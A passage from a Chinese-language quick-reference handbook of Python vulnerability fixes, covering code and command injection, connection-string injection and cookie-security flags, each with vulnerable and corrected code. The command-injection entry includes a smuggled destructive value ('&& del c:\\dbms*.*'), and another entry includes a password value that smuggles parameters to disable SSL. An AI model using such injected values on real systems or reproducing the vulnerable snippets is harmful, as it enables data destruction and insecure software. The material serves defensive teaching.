GitSec.Cloud
48h to DevSecOps

漏洞修复建议速查手册

(Python 篇)

开源安全研究院

2022/7/25

返回目录

简介

手册简介：

本手册是针对 Python 语言涉及的漏洞进行整理的一份漏洞修复建议速查手册，涵盖了目前已知的大部分漏洞信息，并且给出了相应的修复建议。读者只需点击目录上相应漏洞的名称便可直接跳转至该漏洞的详情页面，页面中包括漏洞名称、漏洞严重性、漏洞摘要、漏洞解释、漏洞修复建议、CWE 编号等内容，对于读者进行漏洞修复有一定的参考价值，减少漏洞修复的时间成本。

编者简介：

开源安全研究院(gitsec.cloud)目前是独立运营的第三方研究机构，和各工具厂商属于平等合作关系，专注于软件安全相关技术及政策的研究，围绕行业发展的焦点问题以及前沿性的研究课题，结合国家及社会的实际需求以开放、合作共享的方式开展创新型和实践性的技术研究及分享。欢迎关注我们的公众号。

免责声明：

本手册内容均来自于互联网，仅限学习交流，**不用于商业用途**，如有错漏，可及时联系客服小李进行处理。

此外我们也有软件安全爱好者的相关社群，也可扫码添加客服小李微信拉进群哦~（客服二维码在下一页）

返回目录

（客服小李微信二维码）

注：威胁等级对照表

默认严重性	CVSS 评级	
5	CRITICAL	严重漏洞
4	HIGH	高危漏洞
3	MEDIUM	中危漏洞
2	LOW	低危漏洞
1	not available	无效

返回目录

目录

返回目录

Header Manipulation:SMTP
HTML5:Cross-Site Scripting Protection
HTML5:MIME Sniffing
HTML5:Misconfigured Content Security Policy
HTML5:Overly Permissive Content Security Policy
HTML5:Overly Permissive CORS Policy
Improper Resource Shutdown or Release
Improper Restriction of XXE Ref
Information Exposure Through an Error Message
Insecure Deployment:Non Production Ready
Insecure Deployment:Predictable Resource Name
Insecure Randomness
Insecure Randomness:Hardcoded Seed
Insecure Randomness:User-Controlled Seed
Insecure Randomness:Weak Entropy Source
Insecure SSL:Server Identity Verification Disabled
Insecure Temporary File
Insecure Transport
Insecure Transport:HSTS Does Not Include Subdomains
Insecure Transport:HSTS not Set
Insecure Transport:Insufficient HSTS Expiration Time
Insecure Transport:Mail Transmission
Insecure Transport:Weak SSL Protocol
Insufficiently Protected Credentials
JavaScript Hijacking:Constructor Poisoning
Key Management:Empty Encryption Key
Key Management:Empty HMAC Key
Key Management:Empty PBE Password
Key Management:Hardcoded Encryption Key
Key Management:Hardcoded HMAC Key
Key Management:Hardcoded PBE Password
Key Management:Null Encryption Key
Key Management:Unencrypted Private Key
LDAP Injection
Log Forging
Log Forging (debug)
Mail Command Injection:SMTP
Memcached Injection
Missing Content Security Policy
Missing HSTS Header
NoSQL Injection:MongoDB
Often Misused:File System
Often Misused:File Upload
Often Misused:Privilege Management

返回目录

Open Redirect
OS Access Violation
Overly Permissive Cross Origin Resource Sharing Policy
Parameter Tampering
Password In Comment
Password Management
Password Management:Empty Password
Password Management:Hardcoded Password
Password Management:Lack of Key Derivation Function
Password Management:Null Password
Password Management:Password in Comment
Password Management:Weak Cryptography
Path Manipulation
Path Manipulation:Zip Entry Overwrite
Path Traversal
Permissive Content Security Policy
Poor Error Handling:Empty Catch Block
Poor Logging Practice:Use of a System Output Stream
Portability Flaw:File Separator
Privacy Violation
Privacy Violation:BREACH
Python Bad Practices:Leftover Debug Code
ReDoS In Replace
Reflected XSS All Clients
Resource Injection
Second Order SQL Injection
Server-Side Request Forgery
Server-Side Template Injection
Setting Manipulation
SQL Injection
SSRF
Stored Code Injection
Stored LDAP Injection
Stored XSS
System Information Leak:External
System Information Leak:Internal
Trust Boundary Violation
Unauthenticated Service:MongoDB
Uncontrolled Format String
Unsafe Deserialization
Unsafe Reflection
Use Of Hardcoded Password
Weak Cryptographic Hash
Weak Cryptographic Hash:Empty PBE Salt

返回目录

Weak Cryptographic Hash:Empty Salt
Weak Cryptographic Hash:Hardcoded PBE Salt
Weak Cryptographic Hash:Hardcoded Salt
Weak Cryptographic Hash:Insecure PBE Iteration Count
Weak Cryptographic Hash:Null PBE Salt
Weak Cryptographic Hash:Null Salt
Weak Cryptographic Hash:Predictable Salt
Weak Cryptographic Hash:User-Controlled PBE Salt
Weak Cryptographic Hash:User-Controlled Salt
Weak Cryptographic Signature:Insufficient Key Size
Weak Encryption
Weak Encryption:Inadequate RSA Padding
Weak Encryption:Insecure Initialization Vector
Weak Encryption:Insecure Mode of Operation
Weak Encryption:Insufficient Key Size
Weak Encryption:Stream Cipher
Weak Encryption:User-Controlled Key Size
XML Entity Expansion Injection
XML External Entity Injection
XML Injection
XPath Injection
XSLT Injection
XSRF

返回目录

漏洞名称	**Access Control:Database**
默认严重性	2.0
摘要	如果没有适当的 access control，X（文件） 中的 XX（方法） 方法就会在第 N 行上执行一个 SQL 指令，该指令包含一个受攻击者控制的主键，从而允许攻击者访问未经授权的记录。如果没有适当的 access control，就会执行一个包含用户控制主键的 SQL 指令，从而允许攻击者访问未经授权的记录。
解释	Database access control 错误在以下情况下发生： 1. 数据从一个不可信赖的数据源进入程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 这个数据用来指定 SQL 查询中主键的值。 在这种情况下，在 Y（文件）中第 M 行的 Y（函数） 使用该数据。 示例 1：以下代码使用可转义元字符并防止出现 SQL 注入漏洞的参数化语句，以构建和执行用于搜索与指定标识符 [1] 相匹配的清单的 SQL 查询。您可以从与当前被授权用户有关的所有清单中选择这些标识符。 ... id = request.POST['id'] c = db.cursor() stmt = c.execute("SELECT * FROM invoices WHERE id = %s", (id,)) ... 问题在于开发者没有考虑到所有可能出现的 id 值。虽然界面生成了属于当前用户的清单标识符列表，但是攻击者可以绕过这个界面，从而获取所需的任何清单。由于此示例中的代码没有执行检查以确保用户具有访问所请求清单的权限，因此它会显示任何清单，即使此清单不属于当前用户。
建议	与其靠表示层来限制用户输入的值，还不如在应用程序和数据库层上进行 access control。任何情况下都不允许用户在没有取得相应权限的情况下获取或修改数据库中的记录。每个涉及数据库的查询都必须遵守这个原则，这可以通过把当前被授权的用户名作为查询语句的一部分来实现。 示例 2：以下代码实现的功能与 Example 1 相同，但是附加了一个限制，以验证清单是否属于当前经过身份验证的用户。 ... userName = getAuthenticated(request.session['userName']) id = request.POST['id'] c = db.cursor() stmt = c.execute("SELECT * FROM invoices WHERE id = %s and user = %s", (id, userName,)) ...

返回目录

CWE	APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
OWASP2017	A4 Insecure Direct Object References

返回目录

漏洞名称	**Code Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 方法使用位于 Y（文件） 文件的第 M 行的 YY（元素） 元素接收并动态执行用户控制的代码。这使攻击者能够注入并运行任意代码。 攻击者可通过用户输入 XX（元素） 注入执行的代码 ，这会被应用程序在 X（文件） 文件第 N 行的 XXX（方法） 方法中检索到。
解释	攻击者可以在应用程序服务器的主机上运行任意代码。取决于操作系统赋予应用程序的权限，此类攻击可能包括： 访问数据库，例如读取或修改敏感数据； 文件操作（读取/创建/修改/删除）； 更改网址； 打开到攻击者服务器的网络连接； 使用应用程序的加密密钥来解密保密数据； 启动和停止系统服务； 完全接管服务器。 应用程序通过创建和运行包含不可信任数据的代码来执行某些操作，这可能受到某位恶意用户的控制。如果数据包含恶意代码，则执行的代码可能包含攻击者设计的系统级操作，效果就像攻击者直接在应用程序服务器上运行代码一样。
建议	应用程序不应编译、执行或评估来自任何外部源的任何不可信任的代码，其中包括用户输入、上传的文件或某数据库。 如果动态执行时，确实需要使用外部数据，可以将数据以参数形式传递给代码，但不要直接执行用户数据。 如果需要将不可信任的数据传递给动态执行，请使用非常严格的数据验证。例如，仅接受特定值之间的整数。 无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。参数应限制为允许的字符集，并且应丢弃未验证的输入。除字符外，检查以下项： 数据类型 大小 范围 格式 预期值 如果可行，尽量参照白名单中已知和可信任的输入，而不是与黑名单进行比较。 将应用程序的运行方式配置为使用受限用户帐户运行，此用户帐户无不必要的权限。

返回目录

	根据最小权限原则，如果可行，应独立出来所有的动态执行，以使用一个单独的专用用户帐户来运行，该帐户仅对特定操作和动态执行所涉及的文件有权限。 建议将用户数据传递给预先实现的脚本，例如在另一个隔离的应用中的脚本。 如果提供的用户数据仅包含 Python 文本和文本容器，可考虑使用 ast.literal_eval() 代替，甚至使用 json 对象。
CWE	CWE ID 94
OWASP2017	A1-Injection

返回目录

漏洞名称	**Command Injection**
默认严重性	4.0
摘要	X（文件） 的第 N 行会利用由不可信赖的数据构建的命令来调用 XX（函数）。这种调用会导致程序以攻击者的名义执行恶意命令。执行不可信赖资源中的命令，或在不可信赖的环境中执行命令，都会导致程序以攻击者的名义执行恶意命令。
解释	Command Injection 漏洞主要表现为以下两种形式： – 攻击者能够篡改程序执行的命令：攻击者直接控制了所执行的命令。 – 攻击者能够篡改命令的执行环境：攻击者间接地控制了所执行的命令。 在这种情况下，我们着重关注第一种情况，即攻击者有可能控制所执行命令。这种类型的 Command Injection 漏洞会在以下情况下出现： 1. 数据从不可信赖的数据源进入应用程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据被用作代表应用程序所执行命令的字符串，或字符串的一部分。 在这种情况下，命令经由 Y（文件）的第 M 行的 Y（函数） 执行。 3. 通过命令的执行，应用程序会授予攻击者一种原本不该拥有的特权或能力。 例 1：下面这段来自系统实用程序的代码根据系统属性 APPHOME 来决定其安装目录，然后根据指定目录的相对路径执行一个初始化脚本。 … home = os.getenv('APPHOME') cmd = home.join(INITCMD) os.system(cmd); … Example 1 中的代码可以使攻击者通过修改系统属性 APPHOME 以指向包含恶意版本 INITCMD 的其他路径来提高自己在应用程序中的权限，继而随心所欲地执行命令。由于程序不会验证从环境中读取的值，因此如果攻击者能够控制系统属性 APPHOME 的值，他们就能欺骗应用程序去运行恶意代码，从而取得系统控制权。 例 2：下面的代码来自一个管理 Web 应用程序，旨在使用户能够使用一个围绕 rman 实用程序的批处理文件封装器来启动 Oracle 数据库备份，然后运行一个 cleanup.bat 脚本来删除一些临时文件。脚本 rmanDB.bat 接受单个命令行参数，该参数指定了要执行的备份类型。由于访问数据库受限，所以应用程序执行备份需要具有较高权限的用户。 … btype = req.field('backuptype')

返回目录

	cmd = "cmd.exe /K \"c:\\util\\rmanDB.bat " + btype + "&&c:\\util\\cleanup.bat\""
	os.system(cmd);
	...
	这里的问题是：程序没有对读取自用户的 backuptype 参数进行任何验证。通常情况下 Runtime.exec() 函数不会执行多条命令，但在这种情况下，程序会首先运行 cmd.exe shell，从而可以通过调用一次 Runtime.exec() 来执行多条命令。在调用该 shell 之后，它即会允许执行用两个与号分隔的多条命令。如果攻击者传递了一个形式为 "&& del c:\\dbms*.*" 的字符串，那么应用程序将随程序指定的其他命令一起执行此命令。由于该应用程序的特性，运行该应用程序需要具备与数据库进行交互所需的权限，这就意味着攻击者注入的任何命令都将通过这些权限得以运行。
	示例 3：下面的代码来自一个 Web 应用程序，用户可通过该应用程序提供的界面在系统上更新他们的密码。在某些网络环境中更新密码时，其中的一个步骤就是在 /var/yp 目录中运行 make 命令。
	...
	result = os.system("make");
	...
	这里的问题在于程序没有在它的构造中指定一个绝对路径，并且没能在执行 os.system() 调用前清除它的环境变量。如果攻击者能够修改 $PATH 变量，把它指向名为 make 恶意二进制代码，程序就会在其指定的环境下执行，然后加载该恶意二进制代码，而非原本期望的代码。由于应用程序自身的特性，运行该应用程序需要具备执行系统操作所需的权限，这意味着攻击者会利用这些权限执行自己的 make，从而可能导致攻击者完全控制系统。

建议	应当禁止用户直接控制由程序执行的命令。在用户的输入会影响命令执行的情况下，应将用户输入限制为从预定的安全命令集合中进行选择。如果输入中出现了恶意的内容，传递到命令执行函数的值将默认从安全命令集合中选择，或者程序将拒绝执行任何命令。 在需要将用户的输入用作程序命令中的参数时，由于合法的参数集合实在很大，或是难以跟踪，使得这个方法通常都不切实际。在这种情况下，开发人员通常的做法是执行拒绝列表。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。但是，任何一个定义不安全内容的列表都很可能是不完整的，并且会严重地依赖于执行命令的环境。更好的方法是创建一个字符列表，允许其中的字符出现在输入中，且只接受完全由这些被认可的字符组成的输入。 攻击者可以通过修改程序运行命令的环境来间接控制这些命令的执行。我们不应当完全信赖环境，还需采取预防措施，防止攻击者利用某些控制环境的手段进行攻击。无论何时，只要有可能，都应由应用程序来控制命令，并使用绝对路径执行命令。如果编译时尚不了解路径（如在跨平台应用程序中），应该在执行过程中利用可信赖的值构建一个绝对路径。应对照一系列定义有效值的常量，仔细地检查从配置文件或者环境中读取的命令值和路径。

返回目录

	有时还可以执行其他检验，以检查这些来源是否已被恶意篡改。例如，如果一个配置文件为可写，程序可能会拒绝运行。如果能够预先得知有关要执行的二进制代码的信息，程序就会进行检测，以检验这个二进制代码的合法性。如果一个二进制代码始终属于某个特定的用户，或者被指定了一组特定的访问权限，这些属性就会在执行二进制代码前通过程序进行检验。 尽管可能无法完全阻止强大的攻击者为了控制程序执行的命令而对系统进行的攻击，但只要程序执行外部命令，就务必使用最小授权原则：不给予超过执行该命令所必需的权限。
CWE	CWE ID 77, CWE ID 78
OWASP2017	A1 Injection

返回目录

漏洞名称	**Connection String Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 方法收到不可信任的、用户控制的数据，并使用这些数据通过 Y（文件） 文件第 M 行的 YY（元素） 元素连接数据库。这可能导致“连接字符串注入”攻击。 攻击者可通过用户输入 XX（元素） 注入连接字符串，这会被应用程序在 X（文件） 文件第 N 行的 XXX（方法） 方法中检索到。
解释	如果攻击者可以操作应用程序到数据库服务器的连接字符串，则攻击者可能也能够执行以下任何操作: 破坏应用程序性能（通过增加 MIN POOL SIZE） 篡改网络连接（例如，通过受信任连接） 将应用程序指向攻击者的伪装数据库 （通过暴力攻击）获得数据库中的系统帐户密码。 为了与数据库或其他外部服务器（例如 Active Directory）通信，应用程序会动态构造连接字符串。此连接字符串中包含不可信任的数据，此漏洞可能被恶意用户利用。因为此不可信任的数据未经过限制或适当净化，可能被恶意利用来操纵连接字符串。
建议	无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。检查以下项: 数据类型 大小 范围 格式 预期值 不允许用户控制数据库连接字符串。避免根据不可信任的数据（特别是用户输入）来动态创建连接字符串。 以合适的配置机制来保存所有的连接字符串。如果 runtime 时需要动态构建连接字符串，请不要直接在连接字符串中添加不可信任的数据；而要让用户从预定义好的连接字符串中选择。
CWE	CWE ID 99
OWASP2017	A1-Injection

返回目录

漏洞名称	**Connection String Parameter Pollution**
默认严重性	4.0
摘要	X（文件） 文件将未验证的数据传递给第 N 行的数据库连接字符串。 攻击者可能会重写现有的参数值、注入新的参数或利用直接得到的变量。如果在数据库连接中加入未经验证的输入，可能会让攻击者重写请求参数的值。 攻击者可能会重写现有的参数值、注入新的参数或利用直接得到的变量。
解释	连接字符串参数污染（CSPP）攻击包括将连接字符串参数注入到其他现有的参数中。 这个漏洞类似于也可能会发生参数污染的 HTTP 环境中的漏洞（可能更广为人知）。 然而，它可能还适用于其他地方，比如数据库连接字符串。 如果应用程序没有正确地检查用户输入，则恶意用户可能会破坏应用程序的逻辑，进行从窃取凭证到检索整个数据库等各种攻击。 在向应用程序提交额外参数时，如果这些参数与现有参数的名称相同，则数据库连接可能会产生下列某种反应： 它可能只从第一个参数中提取数据 它可能从最后一个参数中提取数据 它可能从所有参数中提取数据并将它们连接在一起 这可能取决于所使用的驱动程序、数据库类型乃至 API 的使用方法。 示例 1： 下面的代码使用 HTTP 请求中的输入来连接到数据库： username = req.field('username') password = req.field('password') ... client = MongoClient('mongodb://%s:%s@aMongoDBInstance.com/?ssl=true' % (username, password)) ... 在这个例子中，程序员并没有考虑到攻击者可以提供 password 参数，比如：“myPassword@aMongoDBInstance.com/?ssl=false&”，于是连接字符串变为（假定用户名为“scott”）： “mongodb://scott:myPassword@aMongoDBInstance.com/?ssl=false&@aMongoDBInstance.com/?ssl=true” 这会导致“@aMongoDBInstance.com/?ssl=true”被视为附加的无效参数，从而有效地忽略“ssl=true”并连接到未加密的数据库。
建议	如 Example 1 中所示，MongoDB 使用 & 作为键/值对之间的分隔符。而其他数据库可能会使用分号或其他字符作为分隔符。 建议检验可接受字符的允许列表。或者也可以使用 API（如果可用）来指定封装这些连接参数的连接字符串值，以防止这种类型的攻击。 示例 2： 下面的代码使用参数来指定连接参数，而不是将用户输入附加到连接字符串： username = req.field('username') password = req.field('password') ...

返回目录

	client = MongoClient(host=['aMongoDBInstance.com'], username=username, password=password, ssl=True) ...
CWE	CWE ID 235
OWASP2017	A1 Injection

返回目录

漏洞名称	**Cookie Poisoning**
默认严重性	4
摘要	应用程序在 Y（文件） 文件第 M 行的 YYY（方法） 方法中设置了一个 cookie YY（元素）。为此 cookie 设置的值是通过 X（文件） 文件第 N 行的 XXX（方法） 方法中的外部用户输入 XX（元素） 控制的。此输入可被外部第三方控制。
解释	如果外部恶意第三方可以控制其他用户的应用程序 cookie，这可能导致各种方式的滥用——这包括篡改应用程序数据、绕过访问控制检查、违反完整性约束或更改用户的首选项，例如购物车的内容。 此外，此缺陷也会导致其他种类的攻击，例如会话固定或跨站点脚本 (XSS) 攻击。 应用程序未阻止将恶意输入插入应用程序 cookie。攻击者可能会使用恶意 URL 参数影响受害者的浏览器，使脚本将这些恶意值加载到用户的 cookie 中。这可能通过网络钓鱼、保存的链接、外部链接等完成。
建议	不要根据用户可控制的输入设置 cookies，例如 URL 片断、GET 参数或输入字段的值。
CWE	CWE ID 472
OWASP2017	A6-Security Misconfiguration

返回目录

漏洞名称	**Cookie Security:Cookie not Sent Over SSL**
默认严重性	3.0
摘要	程序在 XX（文件） 中第 N 行创建了 cookie，但未将 Secure 标记设置为 True。程序创建了 cookie，但未将 Secure 标记设置为 True。
解释	现今的 Web 浏览器支持每个 cookie 的 Secure 标记。如果设置了该标记，那么浏览器只会通过 HTTPS 发送 cookie。通过未加密的通道发送 cookie 将使其受到网络截取攻击，因此安全标记有助于保护 cookie 值的保密性。如果 cookie 包含私人数据或会话标识符，或带有 CSRF 标记，那么该标记尤其重要。 在这种情况下，程序会在 XX（文件） 中第 N 行创建 cookie，但不会将 Secure 参数传递给 set_cookie()，或使用值 False 进行传递。 示例 1：以下代码会在未设置 Secure 标记的情况下将 cookie 添加到响应中。 from django.http.response import HttpResponse ... def view_method(request): res = HttpResponse() res.set_cookie("emailCookie", email) return res ... 如果应用程序同时使用 HTTPS 和 HTTP，但没有设置 Secure 标记，那么在 HTTPS 请求过程中发送的 cookie 也会在随后的 HTTP 请求过程中被发送。攻击者随后可截取未加密的网络信息流（通过无线网络时十分容易），从而危及 cookie 安全。
建议	对所有新 cookie 设置 Secure 标记，指示浏览器不要以明文形式发送这些 cookie。通过将 True 作为关键字参数传递给 Secure，便可完成此设置。 示例 2：以下代码会通过将 Secure 标记设置为 True 来更正 Example 1 中的错误。 from django.http.response import HttpResponse ... def view_method(request): res = HttpResponse() res.set_cookie("emailCookie", email, secure=True) return res ...
CWE	CWE ID 614
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cookie Security:CSRF Cookie not Sent Over SSL**
默认严重性	3.0
摘要	在 X（文件） 中第 N 行上，程序不会将 CSRF_COOKIE_SECURE 属性显式设置为 True，也不会将其设置为 False。程序不会将 CSRF_COOKIE_SECURE 属性显式设置为 True，也不会将其设置为 False。
解释	现今的 Web 浏览器支持每个 cookie 的 Secure 标记。如果设置了该标记，那么浏览器只会通过 HTTPS 发送 cookie。通过未加密的通道发送 cookie 将使其受到网络截取攻击，因此安全标记有助于保护 cookie 值的保密性。如果 cookie 包含私人数据、会话标识符，或带有 CSRF 标记，那么该标记尤其重要。 这种情况下，在 X（文件） 中的第 N 行上，程序无法将 CSRF_COOKIE_SECURE 属性设置为 True。 示例 1：以下配置条目不会显式设置 CSRF cookie 的 Secure 位。 ... MIDDLEWARE_CLASSES = ('django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'csp.middleware.CSPMiddleware', 'django.middleware.security.SecurityMiddleware', ...) ... 如果应用程序同时使用 HTTPS 和 HTTP，但没有设置 Secure 标记，那么在 HTTPS 请求过程中发送的 cookie 也会在随后的 HTTP 请求过程中被发送。攻击者随后可截取未加密的网络信息流（通过无线网络时十分容易），从而危及 cookie 安全。
建议	为所有 cookie 设置 Secure 标记，以指示浏览器不要通过 HTTP 发送这些 cookie。 示例 2：以下代码会通过将 CSRF_COOKIE_SECURE 属性显式设置为 True 来更正 Example 1 中的错误。 ... MIDDLEWARE_CLASSES = ('django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware',

返回目录

	'csp.middleware.CSPMiddleware', 'django.middleware.security.SecurityMiddleware', ...) ... CSRF_COOKIE_SECURE = True ...
CWE	CWE ID 614
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cookie Security:HTTPOnly not Set**
默认严重性	2.0
摘要	程序在 X（文件） 中第 N 行上创建了 cookie，但未能将 HttpOnly 标记设置为 True。程序创建了 cookie，但未能将 HttpOnly 标记设置为 True。
解释	浏览器支持 HttpOnly Cookie 属性，可阻止客户端脚本访问 Cookie。Cross-Site Scripting 攻击通常会访问 Cookie，以试图窃取会话标识符或身份验证令牌。如果未启用 HttpOnly，攻击者就能更容易地访问用户 Cookie。 在这种情况下，将在 X（文件）的第 N 行中设置 Cookie，但不会设置 HttpOnly 参数，或将其设置为 False。 示例 1：以下代码会在未设置 HttpOnly 属性的情况下创建一个 Cookie。 from django.http.response import HttpResponse ... def view_method(request): res = HttpResponse() res.set_cookie("emailCookie", email) return res ...
建议	在创建 Cookie 时启用 HttpOnly 属性。将 HttpOnly 调用中的 set_cookie() 参数设置为 True，便可完成此配置。 示例 2：以下代码创建的 Cookie 与 Example 1 中的代码创建的相同，但这次会将 HttpOnly 参数设置为 True。 from django.http.response import HttpResponse ... def view_method(request): res = HttpResponse() res.set_cookie("emailCookie", email, httponly=True) return res ... 不要被 HttpOnly 欺骗进入虚假安全。已开发出了多种绕过此安全功能的机制，因此它不是在所有环境中都有效。
CWE	CWE ID 1004
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cookie Security:HTTPOnly not Set on CSRF Cookie**
默认严重性	2.0
摘要	应用程序无法将 CSRF cookie 的 HttpOnly 标记设置为 true。
解释	浏览器支持 HttpOnly Cookie 属性，可阻止客户端脚本访问 Cookie。Cross-Site Scripting 攻击通常会访问 Cookie，以试图窃取会话标识符或身份验证令牌。如果未启用 HttpOnly，攻击者就能更容易地访问用户 Cookie。 例 1：当使用 django.middleware.csrf.CsrfViewMiddleware Django 中间件时，即使未设置 HttpOnly 属性也可发送 CSRF cookie。 ... MIDDLEWARE_CLASSES = ('django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'csp.middleware.CSPMiddleware', 'django.middleware.security.SecurityMiddleware', ...) ...
建议	启用 CSRF cookie 的 HttpOnly 属性。通过将 SESSION_COOKIE_HTTPONLY 属性设置为 True，便可实现此配置。 示例 2：以下示例中的设置会将 HttpOnly 参数显式设置为 True。 ... MIDDLEWARE_CLASSES = ('django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'csp.middleware.CSPMiddleware', 'django.middleware.security.SecurityMiddleware', ...) ... CSRF_COOKIE_HTTPONLY = True ... 不要被 HttpOnly 欺骗进入虚假安全。已开发出了多种绕过此安全功能的机制，因此它不是在所有环境中都有效。

返回目录

CWE	CWE ID 1004
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cookie Security:HTTPOnly not Set on Session Cookie**
默认严重性	2.0
摘要	应用程序无法将会话 cookie 的 HttpOnly 标记设置为 true。
解释	浏览器支持 HttpOnly Cookie 属性，可阻止客户端脚本访问 Cookie。Cross-Site Scripting 攻击通常会访问 Cookie，以试图窃取会话标识符或身份验证令牌。如果未启用 HttpOnly，攻击者就能更容易地访问用户 Cookie。 示例 1：以下设置配置会在未设置 HttpOnly 属性的情况下显式设置会话 Cookie。 ... MIDDLEWARE_CLASSES = ('django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'csp.middleware.CSPMiddleware', 'django.middleware.security.SecurityMiddleware', ...) ... SESSION_COOKIE_HTTPONLY = False ...
建议	启用会话 cookie 的 HttpOnly 属性。通过将 SESSION_COOKIE_HTTPONLY 属性设置为 True，便可实现此配置。 示例 2：以下示例中的设置会将 HttpOnly 参数显式设置为 True。 ... MIDDLEWARE_CLASSES = ('django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'csp.middleware.CSPMiddleware', 'django.middleware.security.SecurityMiddleware', ...) ... SESSION_COOKIE_HTTPONLY = True

返回目录

	... 不要被 HttpOnly 欺骗进入虚假安全。已开发出了多种绕过此安全功能的机制，因此它不是在所有环境中都有效。
CWE	CWE ID 1004
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cookie Security:Overly Broad Domain**
默认严重性	2.0
摘要	域范围过大的 Cookie 为攻击者利用其他应用程序攻击某个应用程序创造了条件。
解释	开发人员通常将 Cookie 设置为在类似“.example.com”的基本域中处于活动状态。这会使 Cookie 暴露在基本域和任何子域中的所有 Web 应用程序下。由于 Cookie 通常包含敏感信息（如会话标识符），因此在应用程序之间共享 Cookie 可能会导致其中一个应用程序的漏洞危及其他应用程序安全。 例 1：假设您有一个安全应用程序并将其部署在 http://secure.example.com/ 上，当用户登录时，该应用程序将使用域“.example.com”设置会话 ID cookie。 例如： from django.http.response import HttpResponse ... def view_method(request): res = HttpResponse() res.set_cookie("mySessionId", getSessionID(), domain=".example.com") return res ... 假设您在 http://insecure.example.com/ 上有另一个不太安全的应用程序，它包含 cross-site scripting 漏洞。任何浏览到 http://insecure.example.com 的 http://secure.example.com 认证用户面临着暴露来自 http://secure.example.com 的会话 cookie 的风险。除了读取 cookie 外，攻击者还可能使用 insecure.example.com 进行“Cookie 篡改攻击”，创建自己范围过大的 cookie，并覆盖 secure.example.com 中的 cookie。
建议	确保将 cookie 域设置为具有尽可能高的限制性。 示例 2：以下代码会显示如何将 Example 1 中的 Cookie 域设置为“secure.example.com”。 from django.http.response import HttpResponse ... def view_method(request): res = HttpResponse() res.set_cookie("mySessionId", getSessionID(), domain="secure.example.com", secure=True, httponly=True) return res ...
CWE	None

返回目录

OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cookie Security:Overly Broad Path**
默认严重性	2.0
摘要	可通过相同域中的其他应用程序访问路径范围过大的 cookie。
解释	开发人员通常将 Cookie 设置为可从根上下文路径“/”进行访问。这会使 Cookie 暴露在该域的所有 Web 应用程序下。由于 Cookie 通常包含敏感信息（如会话标识符），因此在应用程序之间共享 Cookie 可能会导致其中一个应用程序的漏洞危及其他应用程序安全。 示例 1： 假设您有一个论坛应用程序并将其部署在 http://communitypages.example.com/MyForum 上，当用户登录该论坛时，该应用程序将使用路径“/”设置会话 ID cookie。 例如： from django.http.response import HttpResponse ... def view_method(request): res = HttpResponse() res.set_cookie("sessionid", value) # Path defaults to "/" return res ... 假设攻击者在 http://communitypages.example.com/EvilSite 上创建了另一个应用程序，并在论坛上发布了该站点的链接。当论坛用户点击该链接时，浏览器会将 /MyForum 设置的 Cookie 发送到在 /EvilSite 上运行的应用程序。通过这种方式窃取会话 ID 后，攻击者就能够危及浏览到 /EvilSite 的任何论坛用户的帐户安全。 除了读取 cookie 外，攻击者还可能使用 /EvilSite 进行“Cookie 篡改攻击”，创建自己范围过大的 cookie，并覆盖 /MyForum 中的 cookie。
建议	确保将 cookie 路径设置为具有尽可能高的限制性。 例 2：以下代码显示如何针对“说明”部分中的示例将 cookie 路径设置为“/MyForum”。 from django.http.response import HttpResponse ... def view_method(request): res = HttpResponse() res.set_cookie("sessionid", value, path="/MyForum", domain="communitypages.example.com", secure=True, httponly=True) return res ...
CWE	None
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cookie Security:Persistent Cookie**
默认严重性	2.0
摘要	将敏感数据存储在永久性的 cookie 中可能导致违反保密性或危及帐户安全。
